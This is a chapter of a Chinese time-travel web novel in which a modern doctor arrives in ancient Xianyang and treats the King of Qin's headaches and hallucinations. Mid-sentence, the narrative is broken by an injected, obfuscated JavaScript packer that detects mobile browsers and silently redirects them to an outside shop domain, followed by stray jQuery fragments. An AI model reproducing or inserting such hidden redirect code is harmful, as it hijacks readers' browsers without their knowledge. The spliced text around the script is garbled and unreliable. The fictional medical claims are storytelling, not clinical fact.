文趣网 > 其他小说 > 《秦医:大王,你头还疼吗》 > 2. 咸阳无妄
    秦越是呛着水醒过来的。

    他趴在一片芦苇荡里,嘴里灌满了混着泥沙的冷水,满鼻子都是沤烂的草根味。天是灰蒙蒙的青白色,头顶没有星,没有灯,也没有兵马俑坑顶那层现代化的钢架穹顶。

    他挣扎着爬上岸,运动鞋里倒出一窝泥浆。手机掏出来一看——黑屏,后盖裂了,按开机键只闪一下绿光,然后彻底死去。指南针、GPS、手电筒,全没了。

    他蹲在岸边干呕了两分钟,脑子里只剩下一个词:穿越。

    这个词放在网文里是爽点,搁在自己身上是噩梦。他是个医生,不是特种兵,没有系统面板,没有随身的空间戒指,连一包消毒湿巾都没带出来。唯一攥在手里的,还是那枚该死的半片铜钱。

    他抬起头。

    远处,黄土夯筑的城墙从晨雾里浮出来,像一头蹲伏的巨兽。城头上悬着一面黑色大旗,旗上用朱砂写着两个篆字。秦越眯眼辨认了半天,心脏猛地一抽——那是“咸阳”。

    他低头看自己的手。指缝里嵌着的陶土粉末还在,他刚从21世纪来。

    顶多三分钟前。

    咸阳城的守卫没有为难他——准确地说,是没把他当人看。

    他穿着一身黑色的现代速干衣,外罩实验白大褂,头发湿漉漉地贴在额前,脚上蹬着荧光绿的跑鞋。站在城门口那一排披甲执戟的秦卒面前,活像一只从渭河里捞上来的水猴子。

    “哪来的?”守卒拿戈杆戳了戳他的肩膀。

    秦越张嘴,喉咙里滚出一串下意识的关中方言:“我是西安……”话没说完他就刹住了。西安?这时候叫“镐京”都还没影呢。

    “……逃难的。”他换了个稳妥的说法,特意压着舌头把腔调往老派里收,“从东边来,河上翻了筏子。”

    守卒上下打量他两眼,那身白大褂实在太扎眼,但秦越那张脸是典型的关中骨相,高眉深目,颧骨平阔,晒不黑的那种土黄色皮肤。守卒嘀咕了一句“怪里怪气”,挥挥手放他进去了,连入城文书都没查——近年东边逃来的流民太多,只要不带兵器,咸阳城懒得拦。

    秦越踩着硌脚的土路走进城门时,太阳刚刚跃上城楼。

    他站在两千三百年前的咸阳大街上,一时间忘了呼吸。

    街道很宽,能并排走三辆马车。路面是夯实的黄土混着碎瓦砾,被晨露打湿后泛出深褐色。两边店铺还没全开,但已经有卖蒸饼的摊子支起了陶甑,白汽裹着黍米的甜香铺过来。有赶着牛车的老者,有背着箭囊的少年,有穿深衣的妇人蹲在井边汲水。他甚至还看到一个梳总角的小孩蹲在地上拿树枝画方格,跳来跳去——那玩意的形制,跟他在现代见过的汉代“跳白索”一模一样。

    一切都是活的。咸的。带着牲口粪便和炊烟混合的气味。

    秦越站在路中间发愣,被人撞了一下胳膊。那人回头骂了句什么,他条件反射地回了句“对不住”,关中土话脱口而出,自然得他自己都愣了一下。对方看他口音地道,反而息了火,嘟囔着“走路带眼”就走了。

    他低头看自己的手,攥着的半片铜钱还在。掌心全是汗。

    接下来的十天,秦越活得像个野人。

    他不敢暴露身份,只能混在东城墙根下的流民营里,靠替人揉捏筋骨换一口黍米粥。幸好他这双手在现代做了十几年精细手术,指力精准,按起穴道来比村里那些只会放血的巫医强了十倍不止。有个老卒的腿疼了三年,被他拿碎陶片刮了两次足三里,竟能撂下拐棍走路了。

    消息传到太医署那天,秦越正蹲在营棚里嚼一块硬得像石头的干饼。

    两个穿皂衣的吏卒掀帘进来,不由分说架起他就走。他以为是要治他“妖言惑众”的罪,结果被按在一间堆满竹简的偏房里,面前甩过来一卷竹简和一支蘸了墨的毛笔。

    “写。”一个蓄山羊胡的中年医官居高临下地看着他,“把你治腿的方子写出来。”

    秦越低头看了看那竹简,上面已经歪歪扭扭写了几个药名——全是温热行气的寻常草木。他拿起笔,笔尖在墨砚里蘸了蘸,腕子一沉,一气呵成地补了“按揉风市、阳陵泉,日三次,每次百息;更以烧酒浸艾叶外敷膝上三寸”。

    医官接过去扫了一眼,眉头动了动,没说好也没说不好,只吩咐吏卒:“带他去‘不治阁’当差。”

    “不治阁”是太医署最晦气的角落,专门收治那些被大夫们判了死刑的重病号。说白了,就是让人等死的地方。秦越被丢进去那天,里面躺着十七个病人,三个已经凉透了没人收尸,还有五个高烧呓语,两个咳血不止,剩下几个要么瘫着要么瞎着。空气里弥漫着腐血和苦药混在一起的死气。

    他在那里待了四天。

    四天里,他用手边的粗针(磨尖的骨簪)和仅有的几味药材——甘草、桂枝、附子、生姜——扎活了那个咳血的,退掉了两个高烧的,还给瘫了半年的少年做了肢体被动拉伸。到了第四天傍晚,“不治阁”里的气息从死气变成了药气,甚至有病人开始主动跟他打招呼。

    但秦越知道,这些都是小的。他脑子里反复回响的,永远是穿越前在俑坑里听到的那句话——

    “寡人头疼。”

    嬴驷。秦惠文王。那个车裂了商鞅又全盘继承商鞅之法的男人,那个逼死苏秦、戏弄张仪、把义渠按在地上摩擦的狠辣君王。他的头,到底疼到了什么程度?

    第五天夜里,答案来了。

    一阵急促的铜锣声从太医署正堂一路敲到偏院。十几盏灯笼把“不治阁”的小院照得通明,白天那个山羊胡医官冲进来,脸上惨白,指着秦越喊了一声:

    “你!跟我进宫!”

    秦越从病榻边站起来,手里的骨针还没来得及放下。他心跳得像擂鼓,面上却稳住了,慢条斯理地把针在衣襟上蹭干净,才问了一句:“大王怎么了?”

    医官嘴唇哆嗦着,挤出几个字:“大王……大王方才在章台宫批阅竹简时突然发狂,砸碎玉案,拔剑斩了两名内侍。现下已无人敢近身,只远远听见他说……说他看见满墙的蛇,还有……”

    “还有?”

    “还有商君的血,从梁上往下滴。”

    秦越闭上眼睛。

    他等的就是这个。他在俑坑里感应到的,不只是□□之痛——嬴驷的脑子里,藏着旧伤、旧恨、旧梦。那是颅内高压引发的视幻觉,叠加PTSD(创伤后应激障碍)的急性发作。如果再不干预,这位秦王活不过三年,而秦国的东出大计将交给一个举鼎作死的莽夫和一个年幼的质子在赵国的狼窝里熬煎。

    他睁眼,对医官说:“带路。但要答应我一件事。”

    “你说!”

    “到了章台宫,让我先说话。你们谁都不许打断我,也不许替我下跪求饶。”

    医官看着他,那眼神像看一个疯子。但宫里催命的锣声一阵紧过一阵,他跺了跺脚:“行!反正横竖是个死,你顶着!”

    咸阳宫比秦越想象中更粗粝。

    没有后世电视剧里金碧辉煌的藻井和垂幔,满目是黑、红、白三色。柱子是裸露的朱漆巨木,墙面刷了白垩,地上铺着黑色的夯土,踩上去阴凉而坚实。廊下武士执戟而立,甲片在灯火下泛出鱼鳞般的冷光。

    越往里走,血腥味越浓。

    章台宫的殿门大开,里面一片狼藉。玉案碎成三块横在地上,竹简散落一地,墨汁泼在织锦坐垫上洇出大片黑渍。两名内侍被拖到角落,身上的伤口还在往外渗血,太医令带人跪在门口,抖成一团。

    而殿最深处,那个穿着玄色深衣的男人背对着所有人,左手按在剑柄上,肩膀剧烈起伏。

    秦越踏进殿门的那一步,脚底踩断了一根竹简,“啪”的一声脆响。

    嬴驷猛地转身。

    秦越终于看清了他的脸。面颊瘦削,颧骨高耸,眉骨压得很低,一双眼睛布满了红血丝,瞳孔散大,额

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890211|212705||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    角的青筋像蚯蚓一样突突跳动。和兵马俑那张宽厚、威严、略带微笑的标准像完全不同——眼前这个人,活生生地站在暴怒与崩溃的交界线上。

    “谁让你进来的!”嬴驷挥剑,剑尖指向秦越,声音劈了叉,“滚——!都给寡人滚!”

    秦越没跪。

    他站在那里,脚跟钉在地面上,把骨针揣进袖子里,空出两只手,掌心朝上——一个毫无威胁的姿态。然后他开口,说的第一句话,让身后所有太医倒抽冷气:

    “大王近日,可觉头中如悬锤,目侧有光斑,夜半心悸如鼓?”

    嬴驷的剑尖顿了一下。

    秦越往前走了一步,声音压得更低、更稳,把关中腔的每一个字咬得清清楚楚:

    “大王目中所见之蛇,是左眼还是右眼?是黑身红纹,还是灰鳞无目?”

    嬴驷的瞳孔猛地收缩。他嘴唇翕动了两下,剑锋微微下垂了一寸。

    秦越再近一步,两个人的距离只剩下三尺。他已经能看清嬴驷太阳穴上细密的汗珠和干裂起皮的嘴角。他不需要脉枕,光看舌苔边缘的齿痕和耳后翳风穴处的淤青,已经确认了七成——肝阳暴亢,风火上扰清窍,兼有痰瘀互结于脑络。放在现代,是典型的高血压性脑病合并急性焦虑发作。

    “大王,”秦越把声音放得像哄病人入睡那样轻,“臣不驱邪,不跳神。臣是治人的大夫。若大王准臣摸一摸大王的腕脉,三息之内,臣能说出大王昨夜用了几碗饭、喝了几盏酒、睡了几刻钟。”

    嬴驷盯着他,那目光像刀一样刮过他的脸。

    殿外跪着的太医令终于忍不住,匍匐向前喊道:“大王不可!此人来历不明,妄言巫蛊——”

    “闭嘴。”

    嬴驷开口了。嗓音还是沙哑的,但那股狂躁的颤意退了几分。他慢慢收剑入鞘,抬起左手,伸到秦越面前。

    袖口滑下去,露出一截苍白瘦硬的手腕。

    秦越伸出右手,食指、中指、无名指并拢,轻轻扣上嬴驷的寸关尺。指尖触到皮肤的那一瞬,他指腹下的脉象像惊涛拍岸——弦而数,搏指有力,寸部尤甚。典型的“肝火亢盛,脑络失养”。

    三息之后,他松开手,后退一步,躬身行礼。

    “大王昨日酉时用饭两碗,佐以羊肉羹半鼎,夜间饮酒三盏,睡不过一个时辰,且梦中惊醒两次,醒后足心发热、耳鸣如蝉。”他抬起头,直视嬴驷,“臣说得对与不对?”

    章台宫里死一般的寂静。连角落里的伤者都屏住了呼吸。

    嬴驷慢慢垂下眼帘。半晌,他嘴角扯出一个极淡、极苦的笑,轻声说:

    “你连寡人三更醒过都摸得出来……你是人还是鬼?”

    秦越从袖中抽出那根磨尖的骨针,在灯下晃了晃,针尖映出一豆暖光。

    “臣是人。一个从很远很远的地方赶过来的——老秦人。”

    他说完这句,殿外有一阵夜风灌进来,吹得满地竹简哗哗翻动。嬴驷的玄色袍角被掀起一角,露出一双赤足踩在冰凉的夯土上。

    那双脚上,沾着刚才溅上去的血。

    秦越的目光在那血迹上停了一瞬,随即抬起来,重新对上了嬴驷的眼睛。他稳了稳声线,说出了今晚最后一句,也是最能定乾坤的话:

    “大王若信臣,臣今夜便让大王合眼睡足三个时辰。若做不到,臣提头来谢。”

    嬴驷沉默了很久。

    久到殿外的铜灯烧掉了一截芯,烛火跳了两跳。

    然后他转身,走回那张碎了一半的玉案后面,在唯一的蒲团上坐下来,把左袖往上又撸了一截,露出整个小臂。

    “来。”

    他说。

    “治不好,车裂。”

    秦越握紧骨针,迈步上前。

    殿外月色凉如渭水。

    而咸阳宫深处,有一个两千多年后的灵魂,正在给一个两千多年前的暴君,掐他的第一个穴道。